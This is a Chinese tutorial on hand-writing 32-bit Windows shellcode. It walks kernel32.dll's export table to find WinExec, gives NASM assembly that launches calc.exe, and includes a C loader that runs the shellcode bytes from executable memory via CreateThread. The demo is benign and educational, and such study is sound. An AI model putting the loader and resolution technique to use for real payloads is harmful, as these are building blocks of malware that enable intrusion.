欢迎来到实力至上主义的 Shellcode (上) 我们除了认识 Shellcode 和比较 Linux 与 Windows 之外,也了解如何透过访问各种结构得到 kernel32.dll 的 Base Address。
要找到 NT Header,首先要找到 DOS Header。不过已经找到了,它的位址就在 Image Base Address,因为我们在上个步骤已经取得了 kernel32.dll 的 Base Address。现在来看看 DOS Header 的结构
typedef struct _IMAGE_DOS_HEADER
{
WORD e_magic;
WORD e_cblp;
WORD e_cp;
WORD e_crlc;
WORD e_cparhdr;
WORD e_minalloc;
WORD e_maxalloc;
WORD e_ss;
WORD e_sp;
WORD e_csum;
WORD e_ip;
WORD e_cs;
WORD e_lfarlc;
WORD e_ovno;
WORD e_res[4];
WORD e_oemid;
WORD e_oeminfo;
WORD e_res2[10];
LONG e_lfanew;
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
其中最後一个成员 e_lfanew 就是 NT Header 的 RVA(Relative Virtual Address),RVA 就是与 Image Base 的距离。也就是说 Image Base + e_lfanew
就是 NT Header 的位址。
Optional Header 就在 NT Header 中。
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
File Header 的大小为 0x14,所以 NT Header + 0x18
就是 Optional Header 的位址。
DataDirectory 是 Optional Header 的最後一个成员,也就是 Optional Header 的 Offset 0x60 的位址。
typedef struct _IMAGE_OPTIONAL_HEADER {
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
所以 NT Header + 0x18 + 0x60
就是 DataDirectory 结构。DataDirectory 结构如下,可以看到成员 VirtualAddress,它是我们的目标 Export Directory 的 RVA。因此 Image Base + Export Directory 的 RVA
就是 Export Directory 的位址。
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
观察一下 Export Directory 结构,其中的三个成员 AddressOfFunctions、AddressOfNames、AddressOfNameOrdinals 就分别是我们的目标 Address Table、Name Pointer Table、Ordinal Table 的 RVA,因此只要个别加上 Image Base 就可以取得这三个 Table 的位址。除此之外,成员 NumberOfFunctions 存放函数的数量,在等等的 Shellcode 中也会用上。
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions;
DWORD AddressOfNames;
DWORD AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
这个步骤只要了解 Address Table、Name Pointer Table、Ordinal Table 之间的关系就很容易了,Name Table 中存放着所有 Export Function 名称字串的 RVA,找到目标函数名称後,拿对应的 Name Table 的 Index 去找 Ordinal Table。再把 Ordinal Table 对应的值当作 Index 去找 Function Table,得到的值就是目标 Function 的 RVA。
举例来说,现在目标是 WinExec 函数。
Name Table + 4 * x
。注意 Name Table 的每一项都是 4 Bytes 大小。Ordinal Table + 2 * x
,这里存的值假设是 y。注意 Ordinal Table 的每一项都是 2 Bytes 大小。Address Table + 4 * y
,它就是 WinExec 函数的 RVA。注意 Address Table 的每一项都是 4 Bytes 大小。这个步骤就是使用前两大步骤辛苦找到的 WinExec 而已,唯一可以讲的大概就是 Calling Convention 的部分,以 32-bit Windows 的 WinExec 来说就只要把参数堆到 Stack 上就可以了,所以在呼叫这个函数前分别把 C:\Windows\System32\calc.exe
字串位址和 10 Push
到 Stack 中。
其中的 10 是 WinExec 的第二个参数 uCmdShow,意思是 SW_SHOWDEFAULT。
主要是参考 Basics of Windows shellcode writing,有改一点东西以符合 NASM 还有加一些注解。在我的 GitHub zeze-zeze/2021iThome 可以找到完整版的 POC。
; 2. 从 kernel32.dll 中找到 WinExec 函数
; 取得 NT Header 位址
mov eax, [ebx + 3Ch] ; NT Header 的 RVA
add eax, ebx ; NT Header = Image Base + e_lfanew
; 取得 Export Directory 位址
mov eax, [eax + 78h] ; DataDirectory 结构,成员 VirtualAddress 是 Export Directory 的 RVA
add eax, ebx ; Export Directory = Image Base + Export Directory 的 RVA
; 取得 Address Table、Name Pointer Table、Ordinal Table
mov ecx, [eax + 24h] ; Ordinal Table 的 RVA
add ecx, ebx ; Ordinal Table 的位址
mov [ebp-0Ch], ecx
mov edi, [eax + 20h] ; Name Pointer Table 的 RVA
add edi, ebx ; Name Pointer Table 的位址
mov [ebp-10h], edi
mov edx, [eax + 1Ch] ; Address Table 的 RVA
add edx, ebx ; Address Table 的位址
mov [ebp-14h], edx
mov edx, [eax + 14h] ; Export Directory 其中一个成员 NumberOfFunctions
xor eax, eax
; 回圈寻找目标函数
.loop:
mov edi, [ebp-10h] ; Name Pointer Table
mov esi, [ebp-4] ; 目标字串 "WinExec\x00"
xor ecx, ecx
cld
mov edi, [edi + eax*4] ; Name Table + 4 * x 是函数名称的 RVA
add edi, ebx ; 取得函数名称的位址
add cx, 8
repe cmpsb ; 比较字串是否为 WinExec
jz start.found
inc eax
cmp eax, edx
jb start.loop
add esp, 24h
jmp start.end
.found:
mov ecx, [ebp-0Ch] ; Ordinal Table
mov edx, [ebp-14h] ; Address Table
mov ax, [ecx + eax*2] ; y = Ordinal Table + 2 * x
mov eax, [edx + eax*4] ; WinExec 的 RVA = Address Table + 4 * y
add eax, ebx
; 3. 执行 WinExec
xor edx, edx
push edx ; C:\Windows\System32\calc.exe
push 6578652eh
push 636c6163h
push 5c32336dh
push 65747379h
push 535c7377h
push 6f646e69h
push 575c3a43h
mov esi, esp
push 10 ; uCmdShow: SW_SHOWDEFAULT
push esi ; lpCmdLine: "C:\Windows\System32\calc.exe"
call eax ; WinExec("C:\Windows\System32\calc.exe", 10)
add esp, 44h
.end:
pop ebp
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
ret
另外我写了简单的 Shellcode Loader,程序不难,但因为不是这篇的重点所以先略过。
#include <windows.h>
int main()
{
char shellcode[] = "\x50\x53\x51\x52\x56\x57\x55\x89\xE5\x83\xEC\x18\x31\xF6\x56\x68\x78\x65\x63\x00\x68\x57\x69\x6E\x45\x89\x65\xFC\x64\x8B\x1D\x30\x00\x00\x00\x8B\x5B\x0C\x8B\x5B\x14\x8B\x1B\x8B\x1B\x8B\x5B\x10\x89\x5D\xF8\x8B\x43\x3C\x01\xD8\x8B\x40\x78\x01\xD8\x8B\x48\x24\x01\xD9\x89\x4D\xF4\x8B\x78\x20\x01\xDF\x89\x7D\xF0\x8B\x50\x1C\x01\xDA\x89\x55\xEC\x8B\x50\x14\x31\xC0\x8B\x7D\xF0\x8B\x75\xFC\x31\xC9\xFC\x8B\x3C\x87\x01\xDF\x66\x83\xC1\x08\xF3\xA6\x74\x0A\x40\x39\xD0\x72\xE5\x83\xC4\x24\xEB\x3F\x8B\x4D\xF4\x8B\x55\xEC\x66\x8B\x04\x41\x8B\x04\x82\x01\xD8\x31\xD2\x52\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x68\x6D\x33\x32\x5C\x68\x79\x73\x74\x65\x68\x77\x73\x5C\x53\x68\x69\x6E\x64\x6F\x68\x43\x3A\x5C\x57\x89\xE6\x6A\x0A\x56\xFF\xD0\x83\xC4\x44\x5D\x5F\x5E\x5A\x59\x5B\x58\xC3";
// 分配记忆体,其中权限是 PAGE_EXECUTE_READWRITE
LPVOID addressPointer = VirtualAlloc(NULL, sizeof(shellcode), 0x3000, 0x40);
// 把 shellcode 写入分配的记忆体
RtlMoveMemory(addressPointer, shellcode, sizeof(shellcode));
// 建立 Thread 执行 shellcode
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
Sleep(1000);
return 0;
}
跟上一篇一样使用 NASM + LazyIDA 把 Shellcode 复制後放到 Shellcode Loader 中执行,成功编译并执行就会跳出一个小算盘。
今天来讲一下user的需求,要汇出一份word档,并且需要套上参数并替换值,其实nuget上有很多套...
https://leetcode.com/problems/construct-binary-tr...
前情提要 我们整理专案後,现在专案有更明确的模组来封装元件,不仅让 App 效能提升,也让专案更「语...
前言 制作了加权指数的,这次制作三大法人-外资的讯号灯,本次会做多单还是空单、留仓数量是否增加、留仓...
这是我最後的波纹了。 其实我一直想试着讲一次这句话(X) 首先来丢一张案例完成後的图片~ 大家应该...